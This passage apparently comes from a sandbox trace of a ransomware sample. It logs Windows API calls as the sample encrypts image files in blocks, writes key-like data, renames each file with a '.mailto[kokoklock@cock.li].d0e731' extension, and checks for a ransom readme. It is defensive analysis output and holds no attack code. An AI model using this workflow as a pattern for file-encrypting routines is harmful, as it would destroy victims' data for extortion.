[0169.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0169.989] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88598) returned 1 [0169.989] CloseHandle (hObject=0x370) returned 1 [0169.989] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f97598 [0169.989] wcscpy (in: _Dest=0x2f97598, _Source="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" [0169.989] wcscat (in: _Dest=0x2f97598, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.990] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\nh7z83zmbfhc.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.990] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.990] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97598) returned 1 [0169.990] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\nh7z83ZmBfhc.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.990] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.990] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.991] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.991] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe32c0) returned 1 [0169.991] RtlExitUserThread (Status=0x1) Thread: id = 1873 os_tid = 0x598 [0169.992] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.992] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.992] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.993] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x116ef990 | out: lpFileSize=0x116ef990*=77691) returned 1 [0169.993] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x12f77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.993] ReadFile (in: hFile=0x370, lpBuffer=0x116ef964, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x116ef960, lpOverlapped=0x0 | out: lpBuffer=0x116ef964*, lpNumberOfBytesRead=0x116ef960*=0x4, lpOverlapped=0x0) returned 1 [0169.993] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0169.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0169.994] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88840 [0169.994] NtQuerySystemTime (in: CurrentTime=0x116ef93c | out: CurrentTime=0x116ef93c*=132121213273033247) returned 0x0 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x12ad2bbd [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xaa553a01 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x8681912e [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x1d1b8015 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x3ec58a9c [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x46dc9df7 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xc530e3f7 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x81cd7f9 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x37592435 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x4181d911 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x61e42f7d [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xf9f99788 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x5aa41db8 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xe1dd3d44 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xb1a0319d [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x2e19c0bc [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xc5becc4b [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x321a6a8 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xc70e6ff8 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xd1a8ceca [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x9d203cfb [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x20ea1540 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xf1bdc707 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x1507824d [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x7f4a81ce [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x4901801 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x119a107b [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x6d3cddd6 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xc00ab7a1 [0169.994] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0x14b80d9a [0169.995] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xbcfce278 [0169.995] RtlRandom (in: Seed=0x116ef948 | out: Seed=0x116ef948) returned 0xa89e5288 [0170.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88688 [0170.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88598 [0170.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0170.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.006] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.006] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x116ef914, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x116ef914*=0x4096, lpOverlapped=0x0) returned 1 [0170.007] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88638 [0170.007] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88638) returned 1 [0170.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0170.007] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0170.007] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0170.008] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.008] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.008] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x116ef914, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x116ef914*=0x4096, lpOverlapped=0x0) returned 1 [0170.008] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.008] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x12f7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.008] WriteFile (in: hFile=0x370, lpBuffer=0x2f887c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x116ef94c, lpOverlapped=0x0 | out: lpBuffer=0x2f887c8*, lpNumberOfBytesWritten=0x116ef94c*=0x20, lpOverlapped=0x0) returned 1 [0170.009] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0170.009] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.009] WriteFile (in: hFile=0x370, lpBuffer=0x2f88598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x116ef960, lpOverlapped=0x0 | out: lpBuffer=0x2f88598*, lpNumberOfBytesWritten=0x116ef960*=0x8, lpOverlapped=0x0) returned 1 [0170.009] WriteFile (in: hFile=0x370, lpBuffer=0x116ef978*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x116ef960, lpOverlapped=0x0 | out: lpBuffer=0x116ef978*, lpNumberOfBytesWritten=0x116ef960*=0x4, lpOverlapped=0x0) returned 1 [0170.009] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x116ef960, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x116ef960*=0x4, lpOverlapped=0x0) returned 1 [0170.009] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x116ef960, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x116ef960*=0x6c, lpOverlapped=0x0) returned 1 [0170.009] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x116ef960, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x116ef960*=0x20, lpOverlapped=0x0) returned 1 [0170.010] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x116ef960, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x116ef960*=0x4, lpOverlapped=0x0) returned 1 [0170.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88688) returned 1 [0170.010] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88598) returned 1 [0170.010] CloseHandle (hObject=0x370) returned 1 [0170.010] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc8) returned 0x2fc3478 [0170.010] wcscpy (in: _Dest=0x2fc3478, _Source="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" [0170.010] wcscat (in: _Dest=0x2fc3478, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.010] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\niew.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.011] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3478) returned 1 [0170.011] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\NieW.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4480 [0170.012] wcscpy (in: _Dest=0x2fa4480, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.012] wcscat (in: _Dest=0x2fa4480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.012] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4480) returned 1 [0170.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f826b8) returned 1 [0170.012] RtlExitUserThread (Status=0x1) Thread: id = 1874 os_tid = 0x58c [0170.013] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.013] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\oqgnq6ubacgxmb97zti.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.014] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x1176fc48 | out: lpFileSize=0x1176fc48*=82327) returned 1 [0170.014] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x14193, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.014] ReadFile (in: hFile=0x370, lpBuffer=0x1176fc1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1176fc18, lpOverlapped=0x0 | out: lpBuffer=0x1176fc1c*, lpNumberOfBytesRead=0x1176fc18*=0x4, lpOverlapped=0x0) returned 1 [0170.015] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0170.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88598 [0170.015] NtQuerySystemTime (in: CurrentTime=0x1176fbf4 | out: CurrentTime=0x1176fbf4*=132121213273345603) returned 0x0 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x83d65b6c [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xe9d1a8f6 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x122a92fd [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x2a03b872 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x184d2455 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x4680dc0a [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x72616cb2 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xd8dff82e [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xc0174bec [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xf0b00b77 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x19e545e1 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x7bd35c25 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xb08b8ef6 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xddc1b819 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x902c79a0 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x16bee24 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x3b9d7451 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x900adaa8 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x4cd6514e [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xb1ff4e15 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x665e70c3 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xeaa8b828 [0170.015] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x1b274e69 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xb301ce64 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xe72d04b5 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x9574df72 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x3ca7f356 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x4df9a133 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x3280ae22 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x49d63d52 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0xb1c5061 [0170.016] RtlRandom (in: Seed=0x1176fc00 | out: Seed=0x1176fc00) returned 0x4da86ecb [0170.027] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0170.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0170.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.029] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.029] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1176fbcc, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x1176fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0170.029] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96e40 [0170.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88660 [0170.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88660) returned 1 [0170.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f887c8 [0170.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96e40) returned 1 [0170.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.030] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1176fbcc, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x1176fbcc*=0x4096, lpOverlapped=0x0) returned 1 [0170.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.030] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x14197, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.030] WriteFile (in: hFile=0x370, lpBuffer=0x2f887c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1176fc04, lpOverlapped=0x0 | out: lpBuffer=0x2f887c8*, lpNumberOfBytesWritten=0x1176fc04*=0x20, lpOverlapped=0x0) returned 1 [0170.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f887c8) returned 1 [0170.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.031] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1176fc18, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x1176fc18*=0x8, lpOverlapped=0x0) returned 1 [0170.032] WriteFile (in: hFile=0x370, lpBuffer=0x1176fc30*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1176fc18, lpOverlapped=0x0 | out: lpBuffer=0x1176fc30*, lpNumberOfBytesWritten=0x1176fc18*=0x4, lpOverlapped=0x0) returned 1 [0170.032] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1176fc18, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1176fc18*=0x4, lpOverlapped=0x0) returned 1 [0170.032] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1176fc18, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1176fc18*=0x6c, lpOverlapped=0x0) returned 1 [0170.032] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1176fc18, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x1176fc18*=0x20, lpOverlapped=0x0) returned 1 [0170.032] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1176fc18, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1176fc18*=0x4, lpOverlapped=0x0) returned 1 [0170.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0170.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.032] CloseHandle (hObject=0x370) returned 1 [0170.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc4760 [0170.032] wcscpy (in: _Dest=0x2fc4760, _Source="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\OqGnQ6ubAcgxmB97zti.png.mailto[kokoklock@cock.li].d0e731" [0170.033] wcscat (in: 